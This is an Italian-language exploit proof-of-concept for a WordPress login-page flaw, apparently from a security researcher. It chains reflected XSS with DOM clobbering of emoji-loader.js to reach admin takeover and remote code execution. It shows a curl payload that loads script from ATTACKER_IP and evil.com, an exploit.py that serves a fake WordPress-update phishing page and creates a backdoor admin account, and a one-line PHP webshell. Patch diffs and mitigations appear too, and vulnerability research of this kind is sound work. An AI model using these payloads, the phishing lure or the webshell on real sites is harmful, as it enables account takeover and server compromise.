
Exploit proof-of-concept per CVE-2026-64638: XSS riflesso nel login di WordPress combinato con DOM clobbering per ottenere la compromissione dell'account amministratore e l'esecuzione di codice remoto.
Software: WordPress Core ≤ 7.0.2 (tutte le versioni precedenti alla 7.0.3)
CVSS: 8.9 (Alto)
CWE: CWE-79 — Neutralizzazione impropria dell'input durante la generazione di pagine web
Autenticazione richiesta: Nessuna (Pre-Auth)
Interazione utente: Attiva (l'admin deve cliccare 1 link)
Impatto: XSS → Compromissione account → Esecuzione remota di codice
WordPress è il sistema di gestione dei contenuti più popolare al mondo, utilizzato da oltre il 40% di tutti i siti web su internet. Ogni sito WordPress ha una pagina di login all'indirizzo /wp-login.php — si tratta di un endpoint pubblico che chiunque può raggiungere senza autenticazione.
Quando un utente inserisce un nome utente errato, WordPress mostra un messaggio di errore contenente l'esatto nome utente appena digitato: «Il nome utente X non è registrato su questo sito.» Il problema sta nel fatto che il valore del nome utente viene inserito direttamente nella risposta HTML senza passare attraverso alcuna funzione di escape — un attaccante deve semplicemente inserire HTML/JavaScript al posto di un vero nome utente e il codice verrà eseguito nel browser.
Si tratta di una vulnerabilità XSS riflesso — il payload è contenuto nella richiesta e viene riflesso in modo identico dal server nell'HTML. Ciò che la rende pericolosa è che la vulnerabilità risiede nella pagina di login — un luogo visitato di frequente dagli admin, dove i cookie di sessione dell'admin possono essere rubati.
Il team di ricerca ha inoltre scoperto che questo XSS può essere concatenato con una vulnerabilità di DOM clobbering nell'emoji-loader di WordPress, consentendo di caricare JavaScript da un server esterno. Da lì, un attaccante può creare un nuovo account admin → installare un plugin contenente una webshell → eseguire codice PHP sul server. Questa catena di exploit è denominata XSS2Shell.
WordPress carica il supporto alle emoji su ogni pagina (inclusa la pagina di login) tramite il file emoji-loader.js. Questo script legge la configurazione da un elemento con id="wp-emoji-settings":
// Before patch (vulnerable)
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
document.getElementById() restituisce il primo elemento nel DOM con un id corrispondente. Se un attaccante inietta un <div id="wp-emoji-settings"> prima del tag script originale, getElementById leggerà il contenuto dell'attaccante invece della configurazione reale. Questa tecnica è chiamata DOM clobbering — sovrascrivere il comportamento di JavaScript iniettando elementi HTML.
La configurazione delle emoji contiene un URL per caricare un file JavaScript (concatemoji). L'attaccante controlla questo URL → carica un file JS da un server esterno → esegue codice arbitrario nel contesto del browser.
Una volta ottenuta l'esecuzione di JavaScript nel contesto admin, l'attaccante ha pieni privilegi di amministrazione su WordPress:
/wp-admin/user-new.php con la sessione admin/wp-admin/plugin-install.phpCiascuno dei 3 metodi sopra consente l'esecuzione di codice PHP sul server — cioè RCE.
Dal commit di correzione 0d6d42e su wordpress-develop, ho identificato 3 punti nel file wp-includes/user.php in cui il nome utente/email viene inserito direttamente nel messaggio di errore:
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php
Posizione 1 — Riga 189 (il nome utente non esiste):
Prima :
// BEFORE (vulnerable):
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
$username // ← no escaping
)

Dopo :
// fixed:
sprintf(
__( 'The username <strong>%s</strong> is not registered...' ),
esc_html( $username ) // ← escaped
)
Posizione 2 — Riga 216 (password errata):
Prima :

// BEFORE:
'<strong>' . $username . '</strong>' // ← no escaping
Dopo :
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'
Posizione 3 — Riga 299 (password errata per l'email):
Prima :

// BEFORE:
'<strong>' . $email . '</strong>' // ← no escaping
Dopo :
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'
Flusso dei dati dalla richiesta POST al messaggio di errore:
$_POST['log'] ← user input from login form
↓
wp_signon() [user.php:51]
$credentials['user_login'] = wp_unslash($_POST['log']) ← only removes backslashes
↓
wp_authenticate($username, $password) [pluggable.php:689]
$username = sanitize_user($username) ← strips HTML tags, but has a bypass
↓
wp_authenticate_username_password() [user.php:153]
get_user_by('login', $username) ← user not found
↓
sprintf('The username <strong>%s</strong>...', $username) ← XSS!
↓
WP_Error → login_header() → wp_admin_notice()
wp_kses_post(...) ← filters HTML but allows <div>, <a>, through
↓
HTML response → browser render → JavaScript execute
WordPress ha 2 livelli di filtraggio prima che il nome utente raggiunga l'HTML:
Livello 1: sanitize_user() — Chiama strip_tags() per rimuovere i tag HTML. Tuttavia, strip_tags() di PHP ha limitazioni note: la formattazione non standard dei tag può aggirare il filtro.
Livello 2: wp_kses_post() — Consente il passaggio di un sottoinsieme sicuro di HTML, inclusi <div>, <a>, `` con determinati attributi (ma rimuove i gestori di eventi come onerror, onload). In modo cruciale: wp_kses_post consente <div id="wp-emoji-settings"> — esattamente l'elemento necessario per il DOM clobbering.
Il team pwn.ai ha trovato un modo per aggirare entrambi i livelli e iniettare un payload utilizzabile. I dettagli tecnici specifici non sono stati resi pubblici.
Per confermare visivamente che il nome utente finisce direttamente nell'HTML senza escape, ho usato Xdebug + VS Code per posizionare breakpoint nei punti chiave della catena di esecuzione.
Passo 1 — Inserire il payload XSS nel modulo di login:
Accedi a http://localhost:8282/wp-login.php, inserisci come nome utente `` e clicca su Accedi. Appare un popup di alert — l'XSS funziona.


Passo 2 — Breakpoint a user.php:184 — Dove avviene l'XSS:
Imposta un breakpoint su return new WP_Error(...) all'interno della funzione wp_authenticate_username_password(). Quando il debugger si ferma, osserva:
$username = "" — payload HTML intatto, non sottoposto a escape$_POST: log = "" — conferma che il payload proviene dall'input del modulowp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php
Il valore $username passa da $_POST['log'] → wp_unslash() → (aggira sanitize_user) → sprintf() nel messaggio di errore alle righe 186-189 — nessun esc_html() in mezzo. In laboratorio, sanitize_user() è stato commentato per simulare il bypass scoperto da pwn.ai.
Passo 3 — Breakpoint a functions.php:9200 — Output finale:
Imposta un breakpoint su echo wp_get_admin_notice( $message, $args ) — questa è l'ultima riga prima che l'HTML venga inviato al browser:
$message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — il payload risiede intatto nel messaggio di errore HTMLwp_kses_post() che la avvolge (rimossa per simulare il bypass), quindi il payload va direttamente al browser
Nel WordPress originale, questa riga è echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() rimuoverà l'attributo onerror ma consentirà il passaggio di <div id="wp-emoji-settings"> perché <div> è nella allowlist. Questo è il vettore esatto per l'attacco di DOM clobbering.
Il commit a12c8f5 modifica emoji-loader.js per bloccare il DOM clobbering:
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
document.getElementById('wp-emoji-settings').textContent
);
// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);
La correzione modifica 3 cose:
querySelector('script#...') invece di getElementById — corrisponde solo ai tag <script>instanceof HTMLScriptElement — impedisce il DOM clobbering tramite <div> o ``.text invece di .textContent — .text è una proprietà specifica di HTMLScriptElementDopo la correzione, anche se un attaccante riesce a iniettare <div id="wp-emoji-settings">, emoji-loader lo ignorerà perché non è un elemento <script>.
┌─────────────────────────────────────────────────────────────────┐
│ ATTACKER │
│ Creates phishing link containing XSS payload │
│ POST /wp-login.php with log=<div id="wp-emoji-settings"> │
│ {"source":{"concatemoji":"https://evil.com/rce.js"}} │
└────────────────────────┬────────────────────────────────────────┘
│ Sends link to admin (email, chat, etc.)
▼
┌─────────────────────────────────────────────────────────────────┐
│ ADMIN CLICKS LINK │
│ Browser POSTs to /wp-login.php → server reflects payload │
│ → <div id="wp-emoji-settings"> appears in HTML │
└────────────────────────┬────────────────────────────────────────┘
│ emoji-loader.js executes
▼
┌─────────────────────────────────────────────────────────────────┐
│ DOM CLOBBERING │
│ getElementById('wp-emoji-settings') → returns attacker div │
│ JSON.parse(div.textContent) → reads fake configuration │
│ Loads script from https://evil.com/rce.js │
└────────────────────────┬────────────────────────────────────────┘
│ JS executes in admin context
▼
┌─────────────────────────────────────────────────────────────────┐
│ ACCOUNT TAKEOVER + RCE │
│ 1. Fetch /wp-admin/user-new.php → get nonce │
│ 2. POST create new admin account (backdoor) │
│ 3. Login using backdoor account │
│ 4. Install plugin containing PHP webshell │
│ 5. Call webshell → RCE on server │
└─────────────────────────────────────────────────────────────────┘
Accedi a http://localhost:8282/wp-login.php, inserisci:
Clicca su Accedi. Se appare un popup di alert che mostra «localhost» → l'XSS funziona.
Risultato — payload riflesso intatto nell'HTML:

Payload più complesso — inietta un <div> con id="wp-emoji-settings" contenente JSON che punta al file JS dell'attaccante:

# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'
curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
--data-urlencode "log=${PAYLOAD}" \
-d '&pwd=test&wp-submit=Log+In&testcookie=1' \
| grep "wp-emoji-settings"
Se l'output HTML contiene <div id="wp-emoji-settings"> con il JSON dell'attaccante → emoji-loader caricherà il JS dal server dell'attaccante.
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999
Lo script exploit.py fornisce 2 cose:
http://127.0.0.1:9999/phish.html — pagina di phishing che impersona l'aggiornamento di sicurezza di WordPresshttp://127.0.0.1:9999/evil.js — payload JS che crea un account admin backdoorL'attaccante invia il link http://127.0.0.1:9999/phish.html all'admin via email/chat. Quando l'admin clicca:
/wp-login.php con un nome utente contenente il payload XSS<div id="wp-emoji-settings"> appare nell'HTMLemoji-loader.js legge il div falso → carica evil.js dal server dell'attaccanteevil.js viene eseguito nel browser dell'admin → recupera /wp-admin/user-new.php per ottenere il nonce → crea l'account backdoor_xss2shell / Pwn3d!XSS2Shell
L'intero processo avviene automaticamente; l'admin vede solo la normale pagina di login con l'errore «nome utente non trovato».
In laboratorio, l'admin aveva già effettuato l'accesso con admin / admin123, quindi evil.js è stato eseguito immediatamente. Dopo aver ottenuto l'accesso all'account, ho subito caricato una webshell tramite Plugin:

<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>


L'output ha restituito www-data — l'attaccante ora ha privilegi di esecuzione comandi sul server.
/wp-login.php è sempre pubblico e non può essere nascosto (a meno di usare plugin per cambiare l'URL di login)HttpOnly non è impostato correttamente) o di fare phishing delle credenzialiCorrezione 1 — Escape dell'output (user.php):
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )
Correzione 2 — Indurire emoji-loader (emoji-loader.js):
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
throw new Error('Element missing');
}
Correzione 3 — Escape dell'URL (wp-login.php):
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )
/wp-login.php con payload HTML nel parametro logsanitize_user() è progettato per normalizzare i nomi utente, non per prevenire l'XSS. Difesa in profondità: l'escape nel punto di output (esc_html, esc_attr, esc_url) è il livello di difesa finale e più critico.getElementById per dati sensibili alla sicurezza. Il DOM clobbering può iniettare un elemento falso con lo stesso id. Usare querySelector con un nome di tag specifico + verifica instanceof.wp_kses_post non è un filtro XSS. È progettato per consentire HTML sicuro nel contenuto dei post — non per bloccare l'XSS in altri contesti. Ogni contesto richiede la sua funzione di escape dedicata.| Attributo | Valore |
|---|
| ID CVE | CVE-2026-64638 |
| Punteggio CVSS | 8.9 (Alto) |
| Software | WordPress Core ≤ 7.0.2 |
| Autenticazione | Non richiesta (Pre-Auth) |
| Interazione utente | Richiede 1 clic (l'admin clicca il link) |
| Complessità di attacco | Alta |
| Corretto in | WordPress 7.0.3 (08/06/2026) |
| Segnalato da | team pwn.ai tramite HackerOne |
| Report HackerOne | #3877102 |
| Metrica CVSS | Valore | Motivazione |
|---|
| Vettore di attacco | Rete | Tramite HTTP, inviando un link alla vittima |
| Complessità di attacco | Alta | Richiede il bypass di sanitize_user() + wp_kses_post(), richiede il clic della vittima |
| Privilegi richiesti | Nessuno | L'endpoint di login non richiede autenticazione |
| Interazione utente | Attiva | L'admin deve cliccare il link di phishing |
| Riservatezza | Alta | Lettura di cookie, sessione, contenuti del pannello admin |
| Integrità | Alta | Creazione account admin, installazione plugin, modifica file |
| Disponibilità | Alta | RCE → controllo completo del server |